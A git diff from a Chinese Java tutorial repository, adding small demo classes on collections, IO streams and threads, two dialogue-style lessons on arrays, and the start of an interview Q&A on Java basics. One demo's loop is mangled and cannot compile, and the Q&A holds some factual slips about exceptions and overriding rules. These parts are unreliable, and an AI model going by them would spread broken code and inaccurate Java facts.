new file mode 100644
index 0000000000..5f95692500
--- /dev/null
+++ b/codes/java8demo/src/main/java/com/itwanger/s52/Demo.java
@@ -0,0 +1,26 @@
+package com.itwanger.s52;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 Java
+ */
+public class Demo {
+ public static void main(String[] args) {
+ logn(100);
+ }
+
+public static int sum(int n) {
+ int sum = 0;
+ for (int i=0;i 0) {
+ i /= 2;
+ System.out.println(i);
+ }
+}
+}
diff --git a/codes/java8demo/src/main/java/com/itwanger/s53/Demo.java b/codes/java8demo/src/main/java/com/itwanger/s53/Demo.java
new file mode 100644
index 0000000000..93b20db925
--- /dev/null
+++ b/codes/java8demo/src/main/java/com/itwanger/s53/Demo.java
@@ -0,0 +1,20 @@
+package com.itwanger.s53;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.HashMap;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 Java
+ */
+public class Demo {
+ public static void main(String[] args) {
+ ArrayList list = new ArrayList();
+
+ for (int i = 0; i < 16; i++) {
+ list.add("沉默王二");
+ }
+
+ HashMap map;
+ }
+}
diff --git a/codes/java8demo/src/main/java/com/itwanger/s54/Demo.java b/codes/java8demo/src/main/java/com/itwanger/s54/Demo.java
new file mode 100644
index 0000000000..fc7e9473f3
--- /dev/null
+++ b/codes/java8demo/src/main/java/com/itwanger/s54/Demo.java
@@ -0,0 +1,17 @@
+package com.itwanger.s54;
+
+import java.util.ArrayList;
+import java.util.LinkedList;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 Java
+ */
+public class Demo {
+ public static void main(String[] args) {
+ LinkedList list = new LinkedList();
+ list.add("沉默王二");
+ list.add("沉默王三");
+ list.add("沉默王四");
+ ArrayList list1;
+ }
+}
diff --git a/codes/java8demo/src/main/java/com/itwanger/s56/Demo.java b/codes/java8demo/src/main/java/com/itwanger/s56/Demo.java
new file mode 100644
index 0000000000..2b9609cfcb
--- /dev/null
+++ b/codes/java8demo/src/main/java/com/itwanger/s56/Demo.java
@@ -0,0 +1,14 @@
+package com.itwanger.s56;
+
+import java.util.HashMap;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 Java
+ */
+public class Demo {
+ public static void main(String[] args) {
+ HashMap map = new HashMap();
+ map.put("chen", "沉");
+ map.put("chen", "沉1");
+ }
+}
diff --git a/codes/java8demo/src/main/java/com/itwanger/s62/Demo.java b/codes/java8demo/src/main/java/com/itwanger/s62/Demo.java
new file mode 100644
index 0000000000..dd0b8c0429
--- /dev/null
+++ b/codes/java8demo/src/main/java/com/itwanger/s62/Demo.java
@@ -0,0 +1,36 @@
+package com.itwanger.s62;
+
+import java.util.ArrayList;
+import java.util.Iterator;
+import java.util.LinkedList;
+import java.util.List;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 Java
+ */
+public class Demo {
+ public static void main(String[] args) {
+// List list = new ArrayList<>();
+// for (Integer num : list) {
+// System.out.println(num);
+// }
+
+ List list = new LinkedList<>();
+ list.add("沉默王二");
+ list.add("沉默王三");
+ list.add("沉默王四");
+
+for (int i = 0; i < list.size(); i++) {
+ System.out.print(list.get(i) + ",");
+}
+
+Iterator it = list.iterator();
+while (it.hasNext()) {
+ System.out.print(it.next() + ",");
+}
+
+for (String str : list) {
+ System.out.print(str + ",");
+}
+ }
+}
diff --git a/codes/java8demo/src/main/java/com/itwanger/s63/Demo.java b/codes/java8demo/src/main/java/com/itwanger/s63/Demo.java
new file mode 100644
index 0000000000..b03005218c
--- /dev/null
+++ b/codes/java8demo/src/main/java/com/itwanger/s63/Demo.java
@@ -0,0 +1,24 @@
+package com.itwanger.s63;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 Java
+ */
+public class Demo {
+ public static void main(String[] args) {
+ List list = new ArrayList<>();
+ list.add("沉默王二");
+ list.add("沉默王三");
+ list.add("一个文章真特么有趣的程序员");
+
+ for (String str : list) {
+ if ("沉默王二".equals(str)) {
+ list.remove(str);
+ }
+ }
+
+ System.out.println(list);
+ }
+}
diff --git a/codes/java8demo/src/main/java/com/itwanger/s64/Demo.java b/codes/java8demo/src/main/java/com/itwanger/s64/Demo.java
new file mode 100644
index 0000000000..2a60dbb98c
--- /dev/null
+++ b/codes/java8demo/src/main/java/com/itwanger/s64/Demo.java
@@ -0,0 +1,70 @@
+package com.itwanger.s64;
+
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.List;
+import java.util.Vector;
+import java.util.concurrent.ConcurrentHashMap;
+import java.util.concurrent.CopyOnWriteArrayList;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 Java
+ */
+public class Demo {
+ public static void main(String[] args) {
+ List list = new ArrayList<>();
+ list.add("沉默王二");
+ list.add("沉默王三");
+ list.add("沉默王四");
+ list.add("沉默王五");
+ list.add("沉默王六");
+
+ System.out.println("原始顺序:" + list);
+
+// // 反转
+// Collections.reverse(list);
+// System.out.println("反转后:" + list);
+//
+// // 洗牌
+// Collections.shuffle(list);
+// System.out.println("洗牌后:" + list);
+//
+// // 自然升序
+// Collections.sort(list);
+// System.out.println("自然升序后:" + list);
+//
+// // 交换
+// Collections.swap(list, 2,4);
+// System.out.println("交换后:" + list);
+
+// System.out.println("最大元素:" + Collections.max(list));
+// System.out.println("最小元素:" + Collections.min(list));
+// System.out.println("出现的次数:" + Collections.frequency(list, "沉默王二"));
+//
+// // 没有排序直接调用二分查找,结果是不确定的
+// System.out.println("排序前的二分查找结果:" + Collections.binarySearch(list, "沉默王二"));
+// Collections.sort(list);
+// // 排序后,查找结果和预期一致
+// System.out.println("排序后的二分查找结果:" + Collections.binarySearch(list, "沉默王二"));
+//
+// Collections.fill(list, "沉默王八");
+// System.out.println("填充后的结果:" + list);
+//
+// Vector vector;
+// CopyOnWriteArrayList copyOnWriteArrayList;
+// ConcurrentHashMap concurrentHashMap;
+//
+// List synchronizedList = Collections.synchronizedList(list);
+//
+// list.add(1,"test");
+// List emptyList = Collections.emptyList();
+// emptyList.add("非空");
+// System.out.println(emptyList);
+
+List allList = new ArrayList<>();
+Collections.addAll(allList, "沉默王九","沉默王十","沉默王二");
+System.out.println("addAll 后:" + allList);
+
+System.out.println("是否没有交集:" + (Collections.disjoint(list, allList) ? "是" : "否"));
+ }
+}
diff --git a/codes/java8demo/src/main/java/com/itwanger/s65/Demo.java b/codes/java8demo/src/main/java/com/itwanger/s65/Demo.java
new file mode 100644
index 0000000000..f926e06565
--- /dev/null
+++ b/codes/java8demo/src/main/java/com/itwanger/s65/Demo.java
@@ -0,0 +1,136 @@
+package com.itwanger.s65;
+
+import java.io.*;
+import java.nio.charset.StandardCharsets;
+import java.util.Arrays;
+
+class Demo {
+ public static void main(String[] args) throws IOException {
+// InputStream is;
+// Reader r;
+
+//int b;
+//FileInputStream fis1 = new FileInputStream("fis.txt");
+//// 循环读取
+//while ((b = fis1.read())!=-1) {
+// System.out.println((char)b);
+//}
+//// 关闭资源
+//fis1.close();
+//
+//
+//FileOutputStream fos = new FileOutputStream("fos.txt");
+//fos.write("沉默王二".getBytes());
+//fos.close();
+
+
+//// 1、逐个字符读取
+//int b = 0;
+//FileReader fileReader = new FileReader("read.txt");
+//// 循环读取
+//while ((b = fileReader.read())!=-1) {
+// // 自动提升类型提升为 int 类型,所以用 char 强转
+// System.out.println((char)b);
+//}
+//// 关闭流
+//fileReader.close();
+//
+//
+//FileWriter fileWriter = new FileWriter("fw.txt");
+//char[] chars = "沉默王二".toCharArray();
+//fileWriter.write(chars, 0, chars.length);
+//fileWriter.close();
+
+
+//InputStream is =new BufferedInputStream(
+// new ByteArrayInputStream(
+// "沉默王二".getBytes(StandardCharsets.UTF_8)));
+////操作
+//byte[] flush =new byte[1024];
+//int len =0;
+//while(-1!=(len=is.read(flush))){
+// System.out.println(new String(flush,0,len));
+//}
+////释放资源
+//is.close();
+//
+//
+//ByteArrayOutputStream bos =new ByteArrayOutputStream();
+//byte[] info ="沉默王二".getBytes();
+//bos.write(info, 0, info.length);
+////获取数据
+//byte[] dest =bos.toByteArray();
+////释放资源
+//bos.close();
+
+final PipedOutputStream pipedOutputStream = new PipedOutputStream();
+final PipedInputStream pipedInputStream = new PipedInputStream(pipedOutputStream);
+
+Thread thread1 = new Thread(new Runnable() {
+ @Override
+ public void run() {
+ try {
+ pipedOutputStream.write("沉默王二".getBytes(StandardCharsets.UTF_8));
+ pipedOutputStream.close();
+ } catch (IOException e) {
+ e.printStackTrace();
+ }
+ }
+});
+
+Thread thread2 = new Thread(new Runnable() {
+ @Override
+ public void run() {
+ try {
+ byte[] flush =new byte[1024];
+ int len =0;
+ while(-1!=(len=pipedInputStream.read(flush))){
+ System.out.println(new String(flush,0,len));
+ }
+
+ pipedInputStream.close();
+ } catch (IOException e) {
+ e.printStackTrace();
+ }
+
+ }
+});
+thread1.start();
+thread2.start();
+
+ DataInputStream dataInputStream;
+// dataInputStream.read
+
+ PrintWriter printWriter;
+
+//StringWriter buffer = new StringWriter();
+//try (PrintWriter pw = new PrintWriter(buffer)) {
+// pw.println("沉默王二");
+//}
+//System.out.println(buffer.toString());
+
+
+ByteArrayOutputStream buffer = new ByteArrayOutputStream();
+try (ObjectOutputStream output = new ObjectOutputStream(buffer)) {
+ output.writeUTF("沉默王二");
+}
+System.out.println(Arrays.toString(buffer.toByteArray()));
+
+try (ObjectInputStream input = new ObjectInputStream(new FileInputStream(
+ new File("Person.txt")))) {
+ String s = input.readUTF();
+}
+
+InputStreamReader isr = new InputStreamReader(
+ new FileInputStream("demo.txt"));
+char []cha = new char[1024];
+int len = isr.read(cha);
+System.out.println(new String(cha,0,len));
+isr.close();
+
+File f = new File("test.txt") ;
+Writer out = new OutputStreamWriter(new FileOutputStream(f)) ; // 字节流变为字符流
+out.write("hello world!!") ; // 使用字符流输出
+out.close() ;
+ }
+}
\ No newline at end of file
diff --git a/codes/java8demo/src/main/java/com/itwanger/thread1/MyRunnable.java b/codes/java8demo/src/main/java/com/itwanger/thread1/MyRunnable.java
new file mode 100644
index 0000000000..1907d33885
--- /dev/null
+++ b/codes/java8demo/src/main/java/com/itwanger/thread1/MyRunnable.java
@@ -0,0 +1,37 @@
+package com.itwanger.thread1;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 Java
+ */
+public class MyRunnable implements Runnable {
+ @Override
+ public void run() {
+ for (int i = 0; i < 10; i++) {
+try {//sleep会发生异常要显示处理
+ Thread.sleep(20);//暂停20毫秒
+} catch (InterruptedException e) {
+ e.printStackTrace();
+}
+ System.out.println(Thread.currentThread().getName() + "打了:" + i + "个小兵");
+ }
+ }
+
+ public static void main(String[] args) {
+//创建MyRunnable类
+MyRunnable mr = new MyRunnable();
+//创建Thread类的有参构造,并设置线程名
+Thread t1 = new Thread(mr, "张飞");
+Thread t2 = new Thread(mr, "貂蝉");
+Thread t3 = new Thread(mr, "吕布");
+
+t1.setDaemon(true);
+t2.setDaemon(true);
+
+//启动线程
+t1.start();
+t2.start();
+t3.start();
+
+
+ }
+}
diff --git a/codes/java8demo/src/main/java/com/itwanger/thread1/MyThread.java b/codes/java8demo/src/main/java/com/itwanger/thread1/MyThread.java
new file mode 100644
index 0000000000..c485eadf38
--- /dev/null
+++ b/codes/java8demo/src/main/java/com/itwanger/thread1/MyThread.java
@@ -0,0 +1,28 @@
+package com.itwanger.thread1;
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 Java
+ */
+public class MyThread extends Thread {
+ @Override
+ public void run() {
+ for (int i = 0; i < 100; i++) {
+ System.out.println(getName() + ":打了" + i + "个小兵");
+ }
+ }
+
+ public static void main(String[] args) {
+//创建MyThread对象
+MyThread t1=new MyThread();
+MyThread t2=new MyThread();
+MyThread t3=new MyThread();
+//设置线程的名字
+t1.setName("鲁班");
+t2.setName("刘备");
+t3.setName("亚瑟");
+//启动线程
+t1.start();
+t2.start();
+t3.start();
+ }
+}
diff --git a/docs/array/array.md b/docs/array/array.md
new file mode 100644
index 0000000000..9b802c7f18
--- /dev/null
+++ b/docs/array/array.md
@@ -0,0 +1,240 @@
+“哥,我看你之前的文章里提到,ArrayList 的内部是用数组实现的,我就对数组非常感兴趣,想深入地了解一下,今天终于到这个环节了,好期待呀!”三妹的语气里显得很兴奋。
+
+“的确是的,看 ArrayList 的源码就一清二楚了。”我一边说,一边打开 Intellij IDEA,并找到了 ArrayList 的源码。
+
+```java
+/**
+ * The array buffer into which the elements of the ArrayList are stored.
+ * The capacity of the ArrayList is the length of this array buffer. Any
+ * empty ArrayList with elementData == DEFAULTCAPACITY_EMPTY_ELEMENTDATA
+ * will be expanded to DEFAULT_CAPACITY when the first element is added.
+ */
+transient Object[] elementData; // non-private to simplify nested class access
+
+/**
+ * The size of the ArrayList (the number of elements it contains).
+ *
+ * @serial
+ */
+private int size;
+```
+
+“瞧见没?`Object[] elementData` 就是数组。”我指着显示屏上这串代码继续说。
+
+数组是一个对象,它包含了一组固定数量的元素,并且这些元素的类型是相同的。数组会按照索引的方式将元素放在指定的位置上,意味着我们可以通过索引来访问这些元素。在 Java 中,索引是从 0 开始的。
+
+“哥,能说一下为什么索引从 0 开始吗?”三妹突然这个话题很感兴趣。
+
+“哦,Java 是基于 C/C++ 语言实现的,而 C 语言的下标是从 0 开始的,所以 Java 就继承了这个良好的传统习惯。C语言有一个很重要概念,叫做指针,它实际上是一个偏移量,距离开始位置的偏移量,第一个元素就在开始的位置,它的偏移量就为 0,所以索引就为 0。”此刻,我很自信。
+
+“此外,还有另外一种说法。早期的计算机资源比较匮乏,0 作为起始下标相比较于 1 作为起始下标,编译的效率更高。”
+
+“哦。”三妹意味深长地点了点头。
+
+我们可以将数组理解为一个个整齐排列的单元格,每个单元格里面存放着一个元素。
+
+数组元素的类型可以是基本数据类型(比如说 int、double),也可以是引用数据类型(比如说 String),包括自定义类型。
+
+数组的声明方式分两种。
+
+先来看第一种:
+
+```java
+int[] anArray;
+```
+
+再来看第二种:
+
+```java
+int anOtherArray[];
+```
+
+不同之处就在于中括号的位置,是跟在类型关键字的后面,还是跟在变量的名称的后面。前一种的使用频率更高一些,像 ArrayList 的源码中就用了第一种方式。
+
+同样的,数组的初始化方式也有多种,最常见的是:
+
+```java
+int[] anArray = new int[10];
+```
+
+看到了没?上面这行代码中使用了 new 关键字,这就意味着数组的确是一个对象,只有对象的创建才会用到 new 关键字,基本数据类型是不用的。然后,我们需要在方括号中指定数组的长度。
+
+这时候,数组中的每个元素都会被初始化为默认值,int 类型的就为 0,Object 类型的就为 null。 不同数据类型的默认值不同,可以参照[之前的文章](https://mp.weixin.qq.com/s/twim3w_dp5ctCigjLGIbFw)。
+
+另外,还可以使用大括号的方式,直接初始化数组中的元素:
+
+```java
+int anOtherArray[] = new int[] {1, 2, 3, 4, 5};
+```
+
+这时候,数组的元素分别是 1、2、3、4、5,索引依次是 0、1、2、3、4,长度是 5。
+
+“哥,怎么访问数组呢?”三妹及时地插话到。
+
+前面提到过,可以通过索引来访问数组的元素,就像下面这样:
+
+```java
+anArray[0] = 10;
+```
+
+变量名,加上中括号,加上元素的索引,就可以访问到数组,通过“=”操作符可以对元素进行赋值。
+
+如果索引的值超出了数组的界限,就会抛出 `ArrayIndexOutOfBoundException`。
+
+既然数组的索引是从 0 开始,那就是到数组的 `length - 1` 结束,不要使用超出这个范围内的索引访问数组,就不会抛出数组越界的异常了。
+
+当数组的元素非常多的时候,逐个访问数组就太辛苦了,所以需要通过遍历的方式。
+
+第一种,使用 for 循环:
+
+```java
+int anOtherArray[] = new int[] {1, 2, 3, 4, 5};
+for (int i = 0; i < anOtherArray.length; i++) {
+ System.out.println(anOtherArray[i]);
+}
+```
+
+通过 length 属性获取到数组的长度,然后从 0 开始遍历,就得到了数组的所有元素。
+
+第二种,使用 for-each 循环:
+
+```java
+for (int element : anOtherArray) {
+ System.out.println(element);
+}
+```
+
+如果不需要关心索引的话(意味着不需要修改数组的某个元素),使用 for-each 遍历更简洁一些。当然,也可以使用 while 和 do-while 循环。
+
+在 Java 中,可变参数用于将任意数量的参数传递给方法,来看 `varargsMethod()` 方法:
+
+```java
+void varargsMethod(String... varargs) {}
+```
+
+该方法可以接收任意数量的字符串参数,可以是 0 个或者 N 个,本质上,可变参数就是通过数组实现的。为了证明这一点,我们可以看一下反编译一后的字节码:
+
+```java
+public class VarargsDemo
+{
+
+ public VarargsDemo()
+ {
+ }
+
+ transient void varargsMethod(String as[])
+ {
+ }
+}
+```
+
+所以,我们其实可以直接将数组作为参数传递给该方法:
+
+```java
+VarargsDemo demo = new VarargsDemo();
+String[] anArray = new String[] {"沉默王二", "一枚有趣的程序员"};
+demo.varargsMethod(anArray);
+```
+
+也可以直接传递多个字符串,通过逗号隔开的方式:
+
+```java
+demo.varargsMethod("沉默王二", "一枚有趣的程序员");
+```
+
+在 Java 中,数组与 List 关系非常密切。List 封装了很多常用的方法,方便我们对集合进行一些操作,而如果直接操作数组的话,有很多不便,因为数组本身没有提供这些封装好的操作,所以有时候我们需要把数组转成 List。
+
+“怎么转呢?”三妹问到。
+
+最原始的方式,就是通过遍历数组的方式,一个个将数组添加到 List 中。
+
+```java
+int[] anArray = new int[] {1, 2, 3, 4, 5};
+
+List aList = new ArrayList<>();
+for (int element : anArray) {
+ aList.add(element);
+}
+```
+
+更优雅的方式是通过 Arrays 类的 `asList()` 方法:
+
+```java
+List aList = Arrays.asList(anArray);
+```
+
+但需要注意的是,该方法返回的 ArrayList 并不是 `java.util.ArrayList`,它其实是 Arrays 类的一个内部类:
+
+```java
+private static class ArrayList extends AbstractList
+ implements RandomAccess, java.io.Serializable{}
+```
+
+如果需要添加元素或者删除元素的话,需要把它转成 `java.util.ArrayList`。
+
+```java
+new ArrayList<>(Arrays.asList(anArray));
+```
+
+Java 8 新增了 Stream 流的概念,这就意味着我们也可以将数组转成 Stream 进行操作。
+
+```java
+String[] anArray = new String[] {"沉默王二", "一枚有趣的程序员", "好好珍重他"};
+Stream aStream = Arrays.stream(anArray);
+```
+
+
+如果想对数组进行排序的话,可以使用 Arrays 类提供的 `sort()` 方法。
+
+- 基本数据类型按照升序排列
+- 实现了 Comparable 接口的对象按照 `compareTo()` 的排序
+
+来看第一个例子:
+
+```java
+int[] anArray = new int[] {5, 2, 1, 4, 8};
+Arrays.sort(anArray);
+```
+
+排序后的结果如下所示:
+
+```java
+[1, 2, 4, 5, 8]
+```
+
+来看第二个例子:
+
+```java
+String[] yetAnotherArray = new String[] {"A", "E", "Z", "B", "C"};
+Arrays.sort(yetAnotherArray, 1, 3,
+ Comparator.comparing(String::toString).reversed());
+```
+
+只对 1-3 位置上的元素进行反序,所以结果如下所示:
+
+```
+[A, Z, E, B, C]
+```
+
+有时候,我们需要从数组中查找某个具体的元素,最直接的方式就是通过遍历的方式:
+
+```java
+int[] anArray = new int[] {5, 2, 1, 4, 8};
+for (int i = 0; i < anArray.length; i++) {
+ if (anArray[i] == 4) {
+ System.out.println("找到了 " + i);
+ break;
+ }
+}
+```
+
+上例中从数组中查询元素 4,找到后通过 break 关键字退出循环。
+
+如果数组提前进行了排序,就可以使用二分查找法,这样效率就会更高一些。`Arrays.binarySearch()` 方法可供我们使用,它需要传递一个数组,和要查找的元素。
+
+```java
+int[] anArray = new int[] {1, 2, 3, 4, 5};
+int index = Arrays.binarySearch(anArray, 4);
+```
+
+“除了一维数组,还有二维数组,三妹你可以去研究下,比如说用二维数组打印一下杨辉三角。”说完,我就去阳台上休息了,留三妹在那里学习,不能打扰她。
diff --git a/docs/array/print.md b/docs/array/print.md
new file mode 100644
index 0000000000..6797901d02
--- /dev/null
+++ b/docs/array/print.md
@@ -0,0 +1,156 @@
+“哥,之前听你说,数组也是一个对象,但 Java 中并未明确的定义这样一个类。”看来三妹有在用心地学习。
+
+“是的,因此数组也就没有机会覆盖 `Object.toString()` 方法。如果尝试直接打印数组的话,输出的结果并不是我们预期的结果。”我接着三妹的话继续说。
+
+“那怎么打印数组呢?”三妹心有灵犀地把今天的核心问题提了出来。
+
+“首先,我们来看一下,为什么不能直接打印数组,直接打印的话,会出现什么问题。”
+
+来看这样一个例子。
+
+```
+String [] cmowers = {"沉默","王二","一枚有趣的程序员"};
+System.out.println(cmowers);
+```
+
+程序打印的结果是:
+
+```
+[Ljava.lang.String;@3d075dc0
+```
+
+`[Ljava.lang.String;` 表示字符串数组的 Class 名,@ 后面的是十六进制的 hashCode——这样的打印结果太“人性化”了,一般人表示看不懂!为什么会这样显示呢?查看一下 `java.lang.Object` 类的 `toString()` 方法就明白了。
+
+```java
+public String toString() {
+ return getClass().getName() + "@" + Integer.toHexString(hashCode());
+}
+```
+
+再次证明,数组虽然没有显式定义成一个类,但它的确是一个对象,继承了祖先类 Object 的所有方法。
+
+“哥,那为什么数组不单独定义一个类来表示呢?就像字符串 String 类那样呢?”三妹这个问题让人头大,但也好解释。
+
+“一个合理的说法是 Java 将其隐藏了。假如真的存在这么一个类,就叫 Array.java 吧,我们假想一下它真实的样子,必须得有一个容器来存放数组的每一个元素,就像 String 类那样。”一边回答三妹,我一边打开了 String 类的源码。
+
+```java
+public final class String
+ implements java.io.Serializable, Comparable, CharSequence {
+ /** The value is used for character storage. */
+ private final char value[];
+}
+```
+
+“最终还是要用类似一种数组的形式来存放数组的元素,对吧?这就变得很没有必要了,不妨就把数组当做是一个没有形体的对象吧!”
+
+“好了,不讨论这个了。”我怕话题扯远了,扯到我自己也答不出来就尴尬了,赶紧把三妹的思路拽了回来。
+
+“我们来看第一种打印数组的方法,使用时髦一点的 Stream 流。”
+
+第一种形式:
+
+```java
+Arrays.asList(cmowers).stream().forEach(s -> System.out.println(s));
+```
+
+第二种形式:
+
+```java
+Stream.of(cmowers).forEach(System.out::println);
+```
+
+第三种形式:
+
+```java
+Arrays.stream(cmowers).forEach(System.out::println);
+```
+
+打印的结果如下所示。
+
+```
+沉默
+王二
+一枚有趣的程序员
+```
+
+没错,这三种方式都可以轻松胜任本职工作,并且显得有点高大上,毕竟用到了 Stream,以及 lambda 表达式。
+
+“当然了,也可以使用比较土的方式,for 循环。甚至 for-each 也行。”
+
+```java
+for(int i = 0; i < cmowers.length; i++){
+ System.out.println(cmowers[i]);
+}
+
+for (String s : cmowers) {
+ System.out.println(s);
+}
+```
+
+“哥,你难道忘了[上一篇](https://mp.weixin.qq.com/s/acnDNH6A8USm_EYIT6i-jA)在讲 Arrays 工具类的时候,提到过另外一种方法 `Arrays.toString()` 吗?”三妹看我一直说不到点子上,有点着急了。
+
+“当然没有了,我认为 `Arrays.toString()` 是打印数组的最佳方式,没有之一。”我的情绪有点激动。
+
+`Arrays.toString()` 可以将任意类型的数组转成字符串,包括基本类型数组和引用类型数组。该方法有多种重载形式。
+
+
+
+使用 `Arrays.toString()` 方法来打印数组再优雅不过了,就像,就像,就像蒙娜丽莎的微笑。
+
+
+
+(三妹看到这么一副图的时候忍不住地笑了)
+
+“三妹,你不要笑,来,怀揣着愉快的心情看一下代码示例。”
+
+```java
+String [] cmowers = {"沉默","王二","一枚有趣的程序员"};
+System.out.println(Arrays.toString(cmowers));
+```
+
+程序打印结果:
+
+```
+[沉默, 王二, 一枚有趣的程序员]
+```
+
+哇,打印格式不要太完美,不多不少!完全是我们预期的结果:`[]` 表明是一个数组,`,` 点和空格用来分割元素。
+
+“哥,那如果我想打印二维数组呢?”
+
+“可以使用 `Arrays.deepToString()` 方法。”
+
+```java
+String[][] deepArray = new String[][] {{"沉默", "王二"}, {"一枚有趣的程序员"}};
+System.out.println(Arrays.deepToString(deepArray));
+```
+
+打印结果如下所示。
+
+```
+[[沉默, 王二], [一枚有趣的程序员]]
+```
+
+-------
+
+“说到打印,三妹,哥给你提醒一点。阿里巴巴的 Java 开发手册上有这样一条规约,你看。”
+
+
+
+“什么是 POJO 呢,就是 Plain Ordinary Java Object 的缩写,一般在 Web 应用程序中建立一个数据库的映射对象时,我们称它为 POJO,这类对象不继承或不实现任何其它 Java 框架的类或接口。”
+
+“对于这样的类,最好是重写一下它的 `toString()` 方法,方便查看这个对象到底包含了什么字段,好排查问题。”
+
+“如果不重写的话,打印出来的 Java 对象就像直接打印数组的那样,一串谁也看不懂的字符序列。”
+
+“可以借助 Intellij IDEA 生成重写的 `toString()` 方法,特别方便。”
+
+“好的,哥,我记住了。以后遇到的话,我注意下。你去休息吧,我来敲一下你提到的这些代码,练一练。”
+
+“OK,我走,我走。”
+
+-----
+
+《**Java 程序员进阶之路**》预计一个月左右会有一次内容更新和完善,大家在我的公众号 **沉默王二** 后台回复“**03**” 即可获取最新版!如果觉得内容不错的话,欢迎转发分享!
+
+
diff --git a/docs/baguwen/java-basic-34.md b/docs/baguwen/java-basic-34.md
new file mode 100644
index 0000000000..6799e2e10b
--- /dev/null
+++ b/docs/baguwen/java-basic-34.md
@@ -0,0 +1,567 @@
+
+
+----
+先来看一下大纲吧,是不是有一种很满足的感觉?
+[TOC]
+
+---
+
+## 1.介绍一下 java 吧
+
+java 是一门**开源的跨平台的面向对象的**计算机语言.
+
+
+
+跨平台是因为 java 的 class 文件是运行在虚拟机上的,其实跨平台的,而**虚拟机是不同平台有不同版本**,所以说 java 是跨平台的.
+
+面向对象有几个特点:
+
+
+
+- 1.**封装**
+ - 两层含义:一层含义是把对象的属性和行为看成一个密不可分的整体,将这两者'封装'在一个不可分割的**独立单元**(即对象)中
+ - 另一层含义指'信息隐藏,把不需要让外界知道的信息隐藏起来,有些对象的属性及行为允许外界用户知道或使用,但不允许更改,而另一些属性或行为,则不允许外界知晓,或只允许使用对象的功能,而尽可能**隐藏对象的功能实现细节**。
+
+**优点**:
+
+> 1.良好的封装能够**减少耦合**,符合程序设计追求'高内聚,低耦合'。
+> 2.**类内部的结构可以自由修改**。
+> 3.可以对成员变量进行更**精确的控制**。
+> 4.**隐藏信息**实现细节。
+
+
+- 2.**继承**
+ - 继承就是子类继承父类的特征和行为,使得子类对象(实例)具有父类的实例域和方法,或子类从父类继承方法,使得子类具有父类相同的行为。
+
+**优点**:
+
+> 1.提高类代码的**复用性**
+> 2.提高了代码的**维护性**
+
+- 3.**多态**
+ - 多态是同一个行为具有多个不同表现形式或形态的能力。Java语言中含有方法重载与对象多态两种形式的多态:
+ - 1.**方法重载**:在一个类中,允许多个方法使用同一个名字,但方法的参数不同,完成的功能也不同。
+ - 2.**对象多态**:子类对象可以与父类对象进行转换,而且根据其使用的子类不同完成的功能也不同(重写父类的方法)。
+
+ **优点**
+
+> 1. **消除类型之间的耦合关系**
+> 2. **可替换性**
+> 3. **可扩充性**
+> 4. **接口性**
+> 5. **灵活性**
+> 6. **简化性**
+
+## 2.java 有哪些数据类型?
+
+
+
+java 主要有两种数据类型
+
+ - 1.**基本数据类型**
+ - 基本数据有**八个**,
+ - byte,short,int,long属于数值型中的整数型
+ - float,double属于数值型中的浮点型
+ - char属于字符型
+ - boolean属于布尔型
+ - 2.**引用数据类型**
+ - 引用数据类型有**三个**,分别是类,接口和数组
+
+## 3.接口和抽象类有什么区别?
+
+- 1.接口是抽象类的变体,**接口中所有的方法都是抽象的**。而抽象类是声明方法的存在而不去实现它的类。
+- 2.接口可以多继承,抽象类不行。
+- 3.接口定义方法,不能实现,默认是 **public abstract**,而抽象类可以实现部分方法。
+- 4.接口中基本数据类型为 **public static final** 并且需要给出初始值,而抽类象不是的。
+
+## 4.重载和重写什么区别?
+
+重写:
+
+- 1.参数列表必须**完全与被重写的方法**相同,否则不能称其为重写而是重载.
+- 2.**返回的类型必须一直与被重写的方法的返回类型相同**,否则不能称其为重写而是重载。
+- 3.访问**修饰符的限制一定要大于被重写方法的访问修饰符**
+- 4.重写方法一定**不能抛出新的检查异常或者比被重写方法申明更加宽泛的检查型异常**。
+
+重载:
+
+- 1.必须具有**不同的参数列表**;
+- 2.可以有不同的返回类型,只要参数列表不同就可以了;
+- 3.可以有**不同的访问修饰符**;
+- 4.可以抛出**不同的异常**;
+
+## 5.常见的异常有哪些?
+
+- NullPointerException 空指针异常
+- ArrayIndexOutOfBoundsException 索引越界异常
+- InputFormatException 输入类型不匹配
+- SQLException SQL异常
+- IllegalArgumentException 非法参数
+- NumberFormatException 类型转换异常
+ 等等....
+
+## 6.异常要怎么解决?
+
+Java标准库内建了一些通用的异常,这些类以Throwable为顶层父类。
+
+Throwable又派生出**Error类和Exception类**。
+
+错误:Error类以及他的子类的实例,代表了JVM本身的错误。错误不能被程序员通过代码处理,Error很少出现。因此,程序员应该关注Exception为父类的分支下的各种异常类。
+
+异常:Exception以及他的子类,代表程序运行时发送的各种不期望发生的事件。可以被Java异常处理机制使用,是异常处理的核心。
+
+处理方法:
+
+- 1.**try()catch(){}**
+
+```
+try{
+// 程序代码
+}catch(ExceptionName e1){
+//Catch 块
+}
+```
+
+- 2.**throw**
+ - throw 关键字作用是抛出一个异常,抛出的时候是抛出的是一个异常类的实例化对象,在异常处理中,try 语句要捕获的是一个异常对象,那么此异常对象也可以自己抛出
+- 3.**throws**
+ - 定义一个方法的时候可以使用 throws 关键字声明。使用 throws 关键字声明的方法表示此方法不处理异常,而交给方法调用处进行处理。
+
+## 7.arrayList 和 linkedList 的区别?
+
+
+
+
+- 1.ArrayList 是实现了基于**数组**的,存储空间是连续的。LinkedList 基于**链表**的,存储空间是不连续的。(LinkedList 是双向链表)
+
+- 2.对于**随机访问** get 和 set ,ArrayList 觉得优于 LinkedList,因为 LinkedList 要移动指针。
+
+- 3.对于**新增和删除**操作 add 和 remove ,LinedList 比较占优势,因为 ArrayList 要移动数据。
+
+- 4.同样的数据量 LinkedList 所占用空间可能会更小,因为 ArrayList 需要**预留空间**便于后续数据增加,而 LinkedList 增加数据只需要**增加一个节点**
+
+## 8.hashMap 1.7 和 hashMap 1.8 的区别?
+
+只记录**重点**
+
